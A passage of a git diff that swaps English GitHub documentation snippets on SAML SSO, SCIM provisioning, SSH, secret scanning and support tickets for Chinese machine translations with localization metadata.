上访问每个组织的资源,成员必须在其浏览器中启动 SAML 会话。 要使用 API 和 Git 访问每个组织的受保护资源,成员必须使用被授权在组织中使用的个人访问令牌或 SSH 密钥。 企业所有者可以随时查看和撤销成员链接的身份、活动的会话或授权的凭据。 diff --git a/translations/zh-CN/data/reusables/saml/authorized-creds-info.md b/translations/zh-CN/data/reusables/saml/authorized-creds-info.md index 5f5411ce06..aad0ed9a17 100644 --- a/translations/zh-CN/data/reusables/saml/authorized-creds-info.md +++ b/translations/zh-CN/data/reusables/saml/authorized-creds-info.md @@ -1,7 +1,15 @@ -Before you can authorize a {% data variables.product.pat_generic %} or SSH key, you must have a linked SAML identity. If you're a member of an organization where SAML SSO is enabled, you can create a linked identity by authenticating to your organization with your IdP at least once. For more information, see "[About authentication with SAML single sign-on](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)." +--- +ms.openlocfilehash: 4055717eec0cdd95951ec6fb5bdea20efaed1948 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147573375" +--- +在可以授权个人访问令牌或 SSH 密钥之前,必须拥有一个链接的 SAML 标识。 如果你是已启用 SAML SSO 的组织的成员,则可以至少通过使用 IdP 向组织进行一次身份验证来创建链接标识。 有关详细信息,请参阅“[关于通过 SAML 单一登录进行身份验证](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)”。 -After you authorize a {% data variables.product.pat_generic %} or SSH key, the token or key will stay authorized until revoked in one of the following ways. -- An organization or enterprise owner revokes the authorization. -- You are removed from the organization. -- The scopes in a {% data variables.product.pat_generic %} are edited, or the token is regenerated. -- The {% data variables.product.pat_generic %} expired as defined during creation. +授予个人访问令牌或 SSH 密钥后,令牌或密钥将保持授权状态,直到以下列方式之一吊销。 +- 组织或企业所有者撤销授权。 +- 你已从组织中移除。 +- 已编辑个人访问令牌中的范围,或重新生成令牌。 +- 创建期间定义的个人访问令牌已过期。 diff --git a/translations/zh-CN/data/reusables/saml/idp-saml-and-scim-explanation.md b/translations/zh-CN/data/reusables/saml/idp-saml-and-scim-explanation.md new file mode 100644 index 0000000000..78e9d6e7f2 --- /dev/null +++ b/translations/zh-CN/data/reusables/saml/idp-saml-and-scim-explanation.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 3c0fb9aa9284d374a4d34c1241de5827917e9ecc +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193254" +--- +在 {% data variables.product.product_name %} 上使用 IdP for IAM 时,SAML SSO 会控制并保护对企业资源(如存储库、问题和拉取请求)的访问。 对 IdP 进行更改时,SCIM 会自动创建用户帐户并管理对 {% data variables.location.product_location %} 的访问权限。 还可以将 {% data variables.product.product_name %} 上的团队与 IdP 上的组同步。 有关详细信息,请参阅以下文章。 + +- [关于企业 IAM 的 SAML](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam) +- [使用 SCIM 为企业配置用户预配](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise) +- [将团队与标识提供者组同步](http://localhost:4000/github-ae@latest/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group) diff --git a/translations/zh-CN/data/reusables/saml/must-authorize-linked-identity.md b/translations/zh-CN/data/reusables/saml/must-authorize-linked-identity.md index 5854c09d77..72fbebcde0 100644 --- a/translations/zh-CN/data/reusables/saml/must-authorize-linked-identity.md +++ b/translations/zh-CN/data/reusables/saml/must-authorize-linked-identity.md @@ -1,5 +1,13 @@ +--- +ms.openlocfilehash: 46bffdc7594863d282ba171fc258f4104a0a09b4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067848" +--- {% note %} -**Note:** If you have a linked identity for an organization, you can only use authorized {% data variables.product.pat_generic %}s and SSH keys with that organization, even if SAML is not enforced. You have a linked identity for an organization if you've ever authenticated via SAML SSO for that organization, unless an organization or enterprise owner later revoked the linked identity. For more information about revoking linked identities, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)" and "[Viewing and managing a user's SAML access to your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)." +注意:如果你拥有某一组织的链接标识,则只能通过该组织使用授权的个人访问令牌和 SSH 密钥,即使未强制执行 SAML 也是如此。 如果已通过 SAML SSO 对某一组织进行了身份验证,你则拥有该组织的链接标识,除非组织或企业所有者后来撤销了该链接标识。 有关撤销链接标识的详细信息,请参阅“[查看和管理成员对组织的 SAML 访问](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)”和“[查看和管理用户对企业的 SAML 访问](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)”。 {% endnote %} diff --git a/translations/zh-CN/data/reusables/saml/okta-add-ghec-org-integration.md b/translations/zh-CN/data/reusables/saml/okta-add-ghec-org-integration.md new file mode 100644 index 0000000000..a9da9719a1 --- /dev/null +++ b/translations/zh-CN/data/reusables/saml/okta-add-ghec-org-integration.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: c36ca0558cc62f720ef8db5402b9b67e4dde0b22 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193258" +--- +1. 搜索名为“GitHub Enterprise Cloud - Organization”的应用程序。 + + ![Okta 中“GitHub Enterprise Cloud - Organization”应用程序的屏幕截图](/assets/images/help/saml/okta-application-menu.png) +1. 单击“添加集成”。 + + ![“添加集成”按钮的屏幕截图](/assets/images/help/saml/add-integration-button-okta.png) + diff --git a/translations/zh-CN/data/reusables/saml/saml-ghes-account-revocation.md b/translations/zh-CN/data/reusables/saml/saml-ghes-account-revocation.md index 626efe3f32..9bc3d75346 100644 --- a/translations/zh-CN/data/reusables/saml/saml-ghes-account-revocation.md +++ b/translations/zh-CN/data/reusables/saml/saml-ghes-account-revocation.md @@ -1,5 +1,13 @@ +--- +ms.openlocfilehash: 727611615f31b6b6064340ba97757509a1834db2 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193257" +--- {% ifversion ghes %} -With JIT provisioning, if you remove a user from your IdP, you must also manually suspend the user's account on {% data variables.location.product_location %}. Otherwise, the account's owner can continue to authenticate using access tokens or SSH keys. For more information, see "[Suspending and unsuspending users](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users)". +使用 JIT 预配时,如果从 IdP 中删除用户,还必须在 {% data variables.location.product_location %} 上手动暂停该用户的帐户。 否则,帐户的所有者可以继续使用访问令牌或 SSH 密钥进行身份验证。 有关详细信息,请参阅“[挂起和取消挂起用户](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users)”。 {% endif %} diff --git a/translations/zh-CN/data/reusables/saml/you-must-periodically-authenticate.md b/translations/zh-CN/data/reusables/saml/you-must-periodically-authenticate.md index 7d345990f4..f8675ea270 100644 --- a/translations/zh-CN/data/reusables/saml/you-must-periodically-authenticate.md +++ b/translations/zh-CN/data/reusables/saml/you-must-periodically-authenticate.md @@ -1 +1,9 @@ -You must periodically authenticate with your SAML IdP to authenticate and gain access to {% ifversion fpt or ghec %}the organization's resources on {% data variables.product.prodname_dotcom_the_website %}{% elsif ghae %}{% data variables.location.product_location %}{% endif %}. The duration of this login period is specified by your IdP and is generally 24 hours. This periodic login requirement limits the length of access and requires you to re-identify yourself to continue. {% ifversion fpt or ghec %}You can view and manage your active SAML sessions in your security settings. For more information, see "[Viewing and managing your active SAML sessions](/articles/viewing-and-managing-your-active-saml-sessions)."{% endif %} +--- +ms.openlocfilehash: a58f8cdbd481991312d9bce77e1cd41a35ffad75 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145127423" +--- +你必须定期向 SAML IdP 身份验证并访问 {% data variables.product.prodname_dotcom_the_website %}{% elsif ghae %}{% data variables.product.product_location %} {% ifversion fpt or ghec %} 上的组织资源{% endif %}。 此登录期的持续时间由 IdP 指定,一般为 24 小时。 此定期登录要求会限制访问的时长,您必须重新验证身份后才可继续访问。 {% ifversion fpt or ghec %}你可以在安全设置中查看和管理你的活动 SAML 会话。 有关详细信息,请参阅“[查看和管理你的活动 SAML 会话](/articles/viewing-and-managing-your-active-saml-sessions)。”{% endif %} diff --git a/translations/zh-CN/data/reusables/scim/after-you-configure-saml.md b/translations/zh-CN/data/reusables/scim/after-you-configure-saml.md index e307c57fdf..c1cbf9d09c 100644 --- a/translations/zh-CN/data/reusables/scim/after-you-configure-saml.md +++ b/translations/zh-CN/data/reusables/scim/after-you-configure-saml.md @@ -1,3 +1,11 @@ -By default, your IdP does not communicate with {% data variables.product.product_name %} automatically when you assign or unassign the application. {% data variables.product.product_name %} {% ifversion fpt or ghec %}provisions access to your resources on {% else %}creates a user account {% endif %}using SAML Just-in-Time (JIT) provisioning the first time someone navigates to {% ifversion fpt or ghec %}your resources on {% endif %} {% data variables.product.product_name %} and signs in by authenticating through your IdP. You may need to manually notify users when you grant access to {% data variables.product.product_name %}, and you must manually {% ifversion fpt or ghec %}deprovision access {% else %}deactivate the user account on {% endif %}{% data variables.product.product_name %} during offboarding. +--- +ms.openlocfilehash: 10f8ff754031aa529cae9525cffee31506b6b8f6 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193204" +--- +默认情况下,当您分配或取消分配应用程序时,您的 IdP 不会自动与 {% data variables.product.product_name %} 通信。 {% data variables.product.product_name %}{% ifversion fpt or ghec %}预配对 {% else %} 上的资源的访问,使用 SAML 实时 (JIT 创建用户帐户 {% endif %},) 首次导航到 {% ifversion fpt or ghec %},你的资源在 {% endif %} {% data variables.product.product_name %} 并通过通过 IdP 进行身份验证来登录。 当你授予 {% data variables.product.product_name %} 的访问权限时,你可能需要手动通知用户,并且在停用期间必须手动 {% ifversion fpt or ghec %}解除预配访问 {% else %}停用 {% endif %}{% data variables.product.product_name %} 上的用户帐户。 -Alternatively, instead of SAML JIT provisioning, you can use SCIM to {% ifversion ghec %}provision or deprovision{% elsif ghae or scim-for-ghes %}create or suspend{% endif %} {% ifversion fpt or ghec %}access to organizations owned by your enterprise on {% data variables.product.prodname_dotcom_the_website %} {% else %}user accounts and grant or deny access to {% data variables.location.product_location %} {% endif %}automatically after you assign or unassign the application on your IdP.{% ifversion scim-for-ghes %} SCIM for {% data variables.product.product_name %} is currently in private beta and is subject to change.{% endif %} +或者,当你在 IdP 上分配或取消分配应用程序时不使用 SAML JIT 预配,而是使用 SCIM 自动{% ifversion ghec %}预配或取消预配{% elsif ghae or scim-for-ghes %}创建或暂停{% endif %}{% ifversion fpt or ghec %}对企业拥有的组织的 {% data variables.product.prodname_dotcom_the_website %} {% else %}用户帐户和授予或拒绝对 {% data variables.location.product_location %} {% endif %}的访问权限。{% ifversion scim-for-ghes %} SCIM for {% data variables.product.product_name %} 目前为专用 beta 版,可能随时发生更改。{% endif %} diff --git a/translations/zh-CN/data/reusables/scim/enterprise-account-scim.md b/translations/zh-CN/data/reusables/scim/enterprise-account-scim.md index ac08a28b7d..37d48598e2 100644 --- a/translations/zh-CN/data/reusables/scim/enterprise-account-scim.md +++ b/translations/zh-CN/data/reusables/scim/enterprise-account-scim.md @@ -1 +1,9 @@ -You cannot use this implementation of SCIM with an enterprise account or with an {% data variables.enterprise.prodname_emu_org %}. If your enterprise is enabled for {% data variables.product.prodname_emus %}, you must use a different implementation of SCIM. Otherwise, SCIM is not available at the enterprise level. For more information, see "[Configuring SCIM provisioning for {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users)." +--- +ms.openlocfilehash: e53e61c7e5f6b12e9510b78251b68dea902eac9d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147876121" +--- +不能将此 SCIM 的实现与企业帐户或 {% data variables.product.prodname_emu_org %} 一起使用。 如果为企业启用 {% data variables.product.prodname_emus %},则必须使用不同的 SCIM 实现。 否则,SCIM 在企业级别不可用。 有关详细信息,请参阅“[为 {% data variables.product.prodname_emus %} 配置 SCIM 预配](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users)”。 diff --git a/translations/zh-CN/data/reusables/scim/ghes-beta-note.md b/translations/zh-CN/data/reusables/scim/ghes-beta-note.md index 00284b5f5d..e79cb3addd 100644 --- a/translations/zh-CN/data/reusables/scim/ghes-beta-note.md +++ b/translations/zh-CN/data/reusables/scim/ghes-beta-note.md @@ -1,16 +1,16 @@ --- -ms.openlocfilehash: 006bc6ea241b79ff5891db29591ce4a3e6f8976d -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.openlocfilehash: d45c0fa18ce8bcf70dcdd85e4fffa7300712f23f +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 10/25/2022 -ms.locfileid: "148108203" +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148192703" --- {% ifversion scim-for-ghes %} {% note %} -注意:{% data variables.product.product_name %} 的 SCIM 目前为专用 beta 版本,可能会随时更改。 要访问 beta 版本,请通过 {% data variables.contact.contact_enterprise_sales %} 联系帐户管理员。 +注意:{% data variables.product.product_name %} 的 SCIM 目前为专用 beta 版本,可能会随时更改。 要访问 beta 版本,请通过 {% data variables.contact.contact_enterprise_sales %} 联系帐户管理员。 请在 [GitHub 社区讨论](https://github.com/orgs/community/discussions/36825)中提供反馈。 {% endnote %} @@ -20,4 +20,4 @@ ms.locfileid: "148108203" {% endwarning %} -{% endif %} \ No newline at end of file +{% endif %} diff --git a/translations/zh-CN/data/reusables/scim/supported-idps.md b/translations/zh-CN/data/reusables/scim/supported-idps.md index 1243cee7b5..59738e9774 100644 --- a/translations/zh-CN/data/reusables/scim/supported-idps.md +++ b/translations/zh-CN/data/reusables/scim/supported-idps.md @@ -1,6 +1,13 @@ -The following IdPs can provision or deprovision user accounts on {% data variables.location.product_location %} using SCIM. +--- +ms.openlocfilehash: 4dfd2a37e834cd7331131d655545160b8ff2ef7f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145127310" +--- +下面的 IdP 可以使用 SCM 在 {% data variables.product.product_location %} 上预配或解除预配用户帐户。 {% ifversion ghae %} - Azure AD -- Okta (currently in beta) -{% endif %} +- Okta(当前为 beta 版本){% endif %} diff --git a/translations/zh-CN/data/reusables/search/syntax_tips.md b/translations/zh-CN/data/reusables/search/syntax_tips.md index 8eedc169a7..f7f72677e0 100644 --- a/translations/zh-CN/data/reusables/search/syntax_tips.md +++ b/translations/zh-CN/data/reusables/search/syntax_tips.md @@ -1,8 +1,16 @@ +--- +ms.openlocfilehash: b3ef2ec170753526500b4aab081227267c2dcd3d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147876120" +--- {% tip %} -**Tips:**{% ifversion ghes or ghae %} - - This article contains links to example searches on the {% data variables.product.prodname_dotcom_the_website %} website, but you can use the same search filters with {% data variables.product.product_name %}. In the linked example searches, replace `github.com` with the hostname for {% data variables.location.product_location %}.{% endif %} - - For a list of search syntaxes that you can add to any search qualifier to further improve your results, see "[Understanding the search syntax](/articles/understanding-the-search-syntax)". - - Use quotations around multi-word search terms. For example, if you want to search for issues with the label "In progress," you'd search for `label:"in progress"`. Search is not case sensitive. +提示:{% ifversion ghes or ghae %} + - 本文章包含 {% data variables.product.prodname_dotcom_the_website %} 网站上示例搜索的链接,但您可以对 {% data variables.product.product_name %} 使用相同的搜索过滤器。 在链接的示例搜索中,将 `github.com` 替换为 {% data variables.product.product_location %} 的主机名。{% endif %} + - 有关可以添加到任何搜索限定符以进一步改善结果的搜索语法列表,请参阅“[了解搜索语法](/articles/understanding-the-search-syntax)”。 + - 对多个字词的搜索词使用引号。 例如,如果要搜索具有标签“In progress”的问题,可搜索 `label:"in progress"`。 搜索不区分大小写。 {% endtip %} diff --git a/translations/zh-CN/data/reusables/secret-scanning/enterprise-enable-secret-scanning.md b/translations/zh-CN/data/reusables/secret-scanning/enterprise-enable-secret-scanning.md index e4513c6c98..51a46fc051 100644 --- a/translations/zh-CN/data/reusables/secret-scanning/enterprise-enable-secret-scanning.md +++ b/translations/zh-CN/data/reusables/secret-scanning/enterprise-enable-secret-scanning.md @@ -1,9 +1,16 @@ +--- +ms.openlocfilehash: bd43779cdfde11268b296b12ad5f328d3fdbc291 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147876123" +--- {% ifversion ghes %} {% note %} -**Note:** Your site administrator must enable {% data variables.product.prodname_secret_scanning %} for {% data variables.location.product_location %} before you can use this feature. For more information, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your appliance](/enterprise/admin/configuration/configuring-secret-scanning-for-your-appliance)." -{% ifversion security-feature-enablement-policies %} You may not be able to enable or disable {% data variables.product.prodname_secret_scanning %}, if an enterprise owner has set a policy at the enterprise level. For more information, see "[Enforcing policies for code security and analysis for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise)."{% endif %} +注意:站点管理员必须为 {% data variables.product.product_location %} 启用 {% data variables.product.prodname_secret_scanning %},你才能使用这些功能。 有关详细信息,请参阅“[为设备配置 {% data variables.product.prodname_secret_scanning %}](/enterprise/admin/configuration/configuring-secret-scanning-for-your-appliance)”。 {% endnote %} diff --git a/translations/zh-CN/data/reusables/secret-scanning/scan-issue-description-and-comments.md b/translations/zh-CN/data/reusables/secret-scanning/scan-issue-description-and-comments.md new file mode 100644 index 0000000000..45c13a4448 --- /dev/null +++ b/translations/zh-CN/data/reusables/secret-scanning/scan-issue-description-and-comments.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d009ddf88504e4d1636f09eb644d41ff0e2c56aa +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193207" +--- +{% data variables.product.prodname_secret_scanning_caps %} 还会分析有关机密问题的说明和评论。 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/security-center/beta.md b/translations/zh-CN/data/reusables/security-center/beta.md new file mode 100644 index 0000000000..04a208f87b --- /dev/null +++ b/translations/zh-CN/data/reusables/security-center/beta.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 27d429cab1bb55d38e886f07158c1a2708380f6a +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145129573" +--- +{% note %} + +**注意:** 安全概览目前以 beta 版本提供,并且可能会发生更改。 + +{% endnote %} diff --git a/translations/zh-CN/data/reusables/security-center/permissions.md b/translations/zh-CN/data/reusables/security-center/permissions.md new file mode 100644 index 0000000000..f90ffaa36f --- /dev/null +++ b/translations/zh-CN/data/reusables/security-center/permissions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 35cfc33ddb95625a7414d8169c04ff284c73296c +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "147066768" +--- +组织所有者和安全管理员可以访问组织的安全概述{% ifversion ghec or ghes > 3.4 or ghae-issue-6199 %}并通过企业级安全概述查看其组织的存储库。 企业所有者可以使用企业级安全概述查看其企业组织中的所有存储库{% endif %}。 团队成员可以看到团队具有管理权限的仓库的安全概述。 diff --git a/translations/zh-CN/data/reusables/server-statistics/release-phase.md b/translations/zh-CN/data/reusables/server-statistics/release-phase.md new file mode 100644 index 0000000000..37f61130e2 --- /dev/null +++ b/translations/zh-CN/data/reusables/server-statistics/release-phase.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: efdf1f339675a40539321f9797724907d207d6b9 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145130021" +--- +{% note %} + +注意:{% data variables.product.prodname_server_statistics %} 为公共beta 版本,可能发生更改。 + +{% endnote %} diff --git a/translations/zh-CN/data/reusables/shortdesc/rate_limits_github_apps.md b/translations/zh-CN/data/reusables/shortdesc/rate_limits_github_apps.md index 499de3d2f5..8bfea16fcd 100644 --- a/translations/zh-CN/data/reusables/shortdesc/rate_limits_github_apps.md +++ b/translations/zh-CN/data/reusables/shortdesc/rate_limits_github_apps.md @@ -1 +1,9 @@ -Rate limits for {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} help control the rate of traffic to {% data variables.location.product_location %}. +--- +ms.openlocfilehash: 5a00eb01f4e2c9ec707f5bbc7c5794c8108220e4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145130189" +--- +{% data variables.product.prodname_github_apps %} 和 {% data variables.product.prodname_oauth_apps %} 的速率限制有助于控制到 {% data variables.product.product_location %} 的流量速率。 diff --git a/translations/zh-CN/data/reusables/sponsors/select-sponsorship-billing.md b/translations/zh-CN/data/reusables/sponsors/select-sponsorship-billing.md index 26b44ffe79..999f26ae0b 100644 --- a/translations/zh-CN/data/reusables/sponsors/select-sponsorship-billing.md +++ b/translations/zh-CN/data/reusables/sponsors/select-sponsorship-billing.md @@ -1 +1,9 @@ -4. Under "Billing information", review your payment details. Optionally, to change the payment details for your entire account on {% data variables.location.product_location %}, click **Edit**. Then, follow the prompts to complete the payment form. +--- +ms.openlocfilehash: aa5db374baed1496a9aa74205d7d19aabd75179d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145130153" +--- +4. 在“Billing information(帐单信息)”下,查看您的付款详细信息。 或者,要更改 {% data variables.product.product_location %} 上整个帐户的付款详细信息,请单击“编辑”。 然后,按照提示填写付款表单。 diff --git a/translations/zh-CN/data/reusables/ssh/about-ssh.md b/translations/zh-CN/data/reusables/ssh/about-ssh.md index 95040d6fd3..48b431f7ac 100644 --- a/translations/zh-CN/data/reusables/ssh/about-ssh.md +++ b/translations/zh-CN/data/reusables/ssh/about-ssh.md @@ -1 +1,9 @@ -You can access and write data in repositories on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} using SSH (Secure Shell Protocol). When you connect via SSH, you authenticate using a private key file on your local machine. +--- +ms.openlocfilehash: d7184796459936c64db3513a123f383c43caf4b6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147409779" +--- +可以使用 SSH(安全外壳协议)访问和写入 {% ifversion fpt or ghec or ghes %}{% data variables.product.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} 上的存储库中的数据。 通过 SSH 进行连接时,使用本地计算机上的私钥文件进行身份验证。 diff --git a/translations/zh-CN/data/reusables/ssh/rsa-sha-1-connection-failure-criteria.md b/translations/zh-CN/data/reusables/ssh/rsa-sha-1-connection-failure-criteria.md index b08eeab7b8..5ec5f530f4 100644 --- a/translations/zh-CN/data/reusables/ssh/rsa-sha-1-connection-failure-criteria.md +++ b/translations/zh-CN/data/reusables/ssh/rsa-sha-1-connection-failure-criteria.md @@ -1,2 +1,10 @@ -- The RSA key was added to a user account on {% data variables.location.product_location %} after the cutoff date of midnight UTC on August 1, 2022. -- The SSH client signs the connection attempt with the SHA-1 hash function. +--- +ms.openlocfilehash: 51813ab823a86fe6428d31b3fd4f80f81458dc23 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147409778" +--- +- RSA 密钥在 2022 年 8 月 1 日午夜 UTC 截止日期之后添加到 {% data variables.product.product_location %} 上的用户帐户。 +- SSH 客户端使用 SHA-1 哈希函数对连接尝试进行签名。 diff --git a/translations/zh-CN/data/reusables/support/help_resources.md b/translations/zh-CN/data/reusables/support/help_resources.md index ec7cfb395d..c498bb1ef7 100644 --- a/translations/zh-CN/data/reusables/support/help_resources.md +++ b/translations/zh-CN/data/reusables/support/help_resources.md @@ -1,7 +1,15 @@ -For questions, bug reports, and discussions about {% data variables.product.prodname_github_apps %}, {% data variables.product.prodname_oauth_apps %}, and API development, explore the {% data reusables.support.prodname_support_forum_with_url %}. The discussions are moderated and maintained by {% data variables.product.company_short %} staff, but questions posted to the forum are not guaranteed to receive a reply from {% data variables.product.company_short %} staff. +--- +ms.openlocfilehash: 01490f812c6a7b54293806a24023f25af2831d8e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147432078" +--- +有关 {% data variables.product.prodname_github_apps %}、{% data variables.product.prodname_oauth_apps %} 和 API 开发的问题、漏洞报告和讨论,请访问 {% data variables.product.prodname_support_forum_with_url %}。 该讨论由 {% data variables.product.company_short %} 工作人员管理和维护,但不能保证发布到论坛的问题都会得到 {% data variables.product.company_short %} 工作人员的回复。 -Consider reaching out to [GitHub Support](https://support.github.com/) directly using the contact form for: - - guaranteed response from {% data variables.product.product_name %} staff - - support requests involving sensitive data or private concerns - - feature requests - - feedback about {% data variables.product.product_name %} products +请考虑使用联系人表单直接联系 [GitHub 支持](https://support.github.com/): + - 要保证得到 {% data variables.product.product_name %} 工作人员的回应 + - 涉及敏感数据或私人问题的支持请求 + - 功能请求 + - 关于 {% data variables.product.product_name %} 产品的反馈 diff --git a/translations/zh-CN/data/reusables/support/submit-a-ticket.md b/translations/zh-CN/data/reusables/support/submit-a-ticket.md index e9b27b7fc5..d128b09c53 100644 --- a/translations/zh-CN/data/reusables/support/submit-a-ticket.md +++ b/translations/zh-CN/data/reusables/support/submit-a-ticket.md @@ -1,45 +1,44 @@ -1. Select the **Account or organization** dropdown menu and click the name of the account your support ticket is regarding. -![Screenshot of the "Account or organization" dropdown menu.](/assets/images/help/support/account-field.png) -1. Select the **From** drop-down menu and click the email address you'd like {% data variables.contact.github_support %} to contact. -![Screenshot of the "From" dropdown menu.](/assets/images/help/support/from-field.png) +--- +ms.openlocfilehash: b7f16729209b711d9ea95d059f5868ae867fa040 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147419879" +--- +1. 选择“帐户或组织”下拉菜单,然后单击你的支持票证所涉及的帐户名称。 +![“帐户或组织”下拉菜单的屏幕截图。](/assets/images/help/support/account-field.png) +1. 选择“发件人”下拉菜单并单击你希望 {% data variables.contact.github_support %} 联系的电子邮件地址。 +![“发件人”下拉菜单的屏幕截图。](/assets/images/help/support/from-field.png) {%- ifversion ghec or ghes %} -1. Select the **Product** dropdown menu and click {% ifversion ghes %}**GitHub Enterprise Server (self-hosted)**{% else %}**GitHub Enterprise Cloud**{% endif %}. -{% ifversion ghec %}![Screenshot of the "Product" dropdown menu.](/assets/images/help/support/product-field-ghec.png){% else %}![Screenshot of the "Product" dropdown menu.](/assets/images/help/support/product-field.png){% endif %} +1. 选择“产品”下拉菜单并单击 {% ifversion ghes %}GitHub Enterprise Server(自托管){% else %}GitHub Enterprise Cloud{% endif %} 。 +{% ifversion ghec %}![“产品”下拉菜单的屏幕截图。](/assets/images/help/support/product-field-ghec.png){% else %}![“产品”下拉菜单的屏幕截图。](/assets/images/help/support/product-field.png){% endif %} {%- endif %} {%- ifversion ghes %} +1. 如果出现提示,请选择“服务器安装”下拉菜单,然后单击支持票证所涉及的安装。 如果安装未列出,请单击“其他”。 +![“服务器安装”下拉菜单的屏幕截图](/assets/images/help/support/installation-field.png) {%- endif %} {%- ifversion ghes %} +1. 选择“发布系列”下拉菜单并单击发布 {% data variables.product.product_location_enterprise %} 正在运行。 